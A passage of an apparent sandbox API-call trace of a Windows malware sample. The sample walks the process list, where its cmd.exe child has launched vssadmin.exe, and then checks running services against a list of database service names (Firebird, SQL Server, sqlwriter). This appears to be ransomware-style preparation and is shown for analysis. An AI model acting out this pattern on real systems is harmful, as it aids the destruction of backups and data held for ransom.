0x4e8 [0247.024] Process32FirstW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.025] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.025] lstrlenW (lpString="System") returned 6 [0247.025] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.026] lstrlenW (lpString="smss.exe") returned 8 [0247.026] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.104] lstrlenW (lpString="csrss.exe") returned 9 [0247.104] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.104] lstrlenW (lpString="wininit.exe") returned 11 [0247.105] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.106] lstrlenW (lpString="csrss.exe") returned 9 [0247.106] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.106] lstrlenW (lpString="winlogon.exe") returned 12 [0247.106] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.107] lstrlenW (lpString="services.exe") returned 12 [0247.107] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.107] lstrlenW (lpString="lsass.exe") returned 9 [0247.108] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0247.108] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0247.108] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0247.109] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0247.109] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.109] lstrlenW (lpString="svchost.exe") returned 11 [0247.109] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.110] lstrlenW (lpString="svchost.exe") returned 11 [0247.110] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.110] lstrlenW (lpString="dwm.exe") returned 7 [0247.110] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.111] lstrlenW (lpString="svchost.exe") returned 11 [0247.111] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.112] lstrlenW (lpString="svchost.exe") returned 11 [0247.112] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.112] lstrlenW (lpString="svchost.exe") returned 11 [0247.112] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.113] lstrlenW (lpString="svchost.exe") returned 11 [0247.113] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.113] lstrlenW (lpString="svchost.exe") returned 11 [0247.113] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.114] lstrlenW (lpString="svchost.exe") returned 11 [0247.114] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.114] lstrlenW (lpString="svchost.exe") returned 11 [0247.114] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.115] lstrlenW (lpString="svchost.exe") returned 11 [0247.115] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.115] lstrlenW (lpString="svchost.exe") returned 11 [0247.115] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.116] lstrlenW (lpString="svchost.exe") returned 11 [0247.116] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.116] lstrlenW (lpString="spoolsv.exe") returned 11 [0247.116] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.117] lstrlenW (lpString="svchost.exe") returned 11 [0247.117] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.117] lstrlenW (lpString="audiodg.exe") returned 11 [0247.117] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0247.118] lstrlenW (lpString="sihost.exe") returned 10 [0247.118] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.118] lstrlenW (lpString="svchost.exe") returned 11 [0247.118] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0247.119] lstrlenW (lpString="taskhostw.exe") returned 13 [0247.119] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0247.119] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0247.119] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0247.120] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0247.120] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0247.283] lstrlenW (lpString="Memory Compression") returned 18 [0247.283] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.293] lstrlenW (lpString="explorer.exe") returned 12 [0247.293] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0247.294] lstrlenW (lpString="SearchUI.exe") returned 12 [0247.294] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0247.294] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0247.294] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0247.295] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0247.295] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0247.295] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0247.295] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0247.296] lstrlenW (lpString="finbbp.exe") returned 10 [0247.296] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0247.296] lstrlenW (lpString="cmd.exe") returned 7 [0247.296] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0247.297] lstrlenW (lpString="conhost.exe") returned 11 [0247.297] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0247.297] lstrlenW (lpString="vssadmin.exe") returned 12 [0247.297] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0247.298] CloseHandle (hObject=0x4e8) returned 1 [0247.298] Sleep (dwMilliseconds=0x1f4) [0248.440] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa10 [0248.442] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0248.443] GetLastError () returned 0xea [0248.443] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1bc4) returned 0x4205e48 [0248.443] EnumServicesStatusExW (in: hSCManager=0x41aaa10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205e48, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205e48, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0248.444] CloseServiceHandle (hSCObject=0x41aaa10) returned 1 [0248.445] lstrlenW (lpString="Appinfo") returned 7 [0248.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0248.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0248.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0248.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0248.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0248.445] lstrlenW (lpString="AppXSvc") returned 7 [0248.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0248.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0248.445] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0248.445] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0248.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0248.445] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0248.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0248.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0248.445] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0248.445] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0248.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0248.445] lstrlenW (lpString="Audiosrv") returned 8 [0248.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0248.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0248.445] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0248.445] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0248.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0248.446] lstrlenW (lpString="BFE") returned 3 [0248.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0248.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0248.446] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0248.446] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0248.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0248.446] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0248.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0248.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0248.446] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0248.446] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0248.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0248.446] lstrlenW (lpString="CDPSvc") returned 6 [0248.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0248.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0248.446] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0248.446] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0248.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0248.446] lstrlenW (lpString="ClickToRunSvc") returned 13 [0248.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0248.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0248.446] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0248.446] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0248.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0248.446] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0248.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0248.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0248.447] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0248.447] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0248.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0248.447] lstrlenW (lpString="CryptSvc") returned 8 [0248.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0248.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0248.447] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0248.447] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0248.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0248.447] lstrlenW (lpString="DcomLaunch") returned 10 [0248.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0248.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0248.447] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0248.447] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0248.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0248.447] lstrlenW (lpString="DeviceAssociationService") returned 24 [0248.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0248.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0248.447] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0248.447] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0248.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0248.447] lstrlenW (lpString="Dhcp") returned 4 [0248.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0248.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0248.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0248.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0248.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0248.448] lstrlenW (lpString="Dnscache") returned 8 [0248.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0248.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0248.448] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0248.448] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0248.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0248.448] lstrlenW (lpString="DPS") returned 3 [0248.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0248.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0248.448] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0248.448] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0248.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0248.448] lstrlenW (lpString="DusmSvc") returned 7 [0248.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0248.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0248.448] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0248.448] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0248.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0248.448] lstrlenW (lpString="EventLog") returned 8 [0248.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0248.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0248.449] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0248.449] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0248.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0248.449] lstrlenW (lpString="EventSystem") returned 11 [0248.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0248.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0248.449] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0248.449] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0248.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0248.449] lstrlenW (lpString="FontCache") returned 9 [0248.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0248.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0248.449] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0248.449] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0248.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0248.449] lstrlenW (lpString="gpsvc") returned 5 [0248.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0248.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0248.449] lstrcmpiW 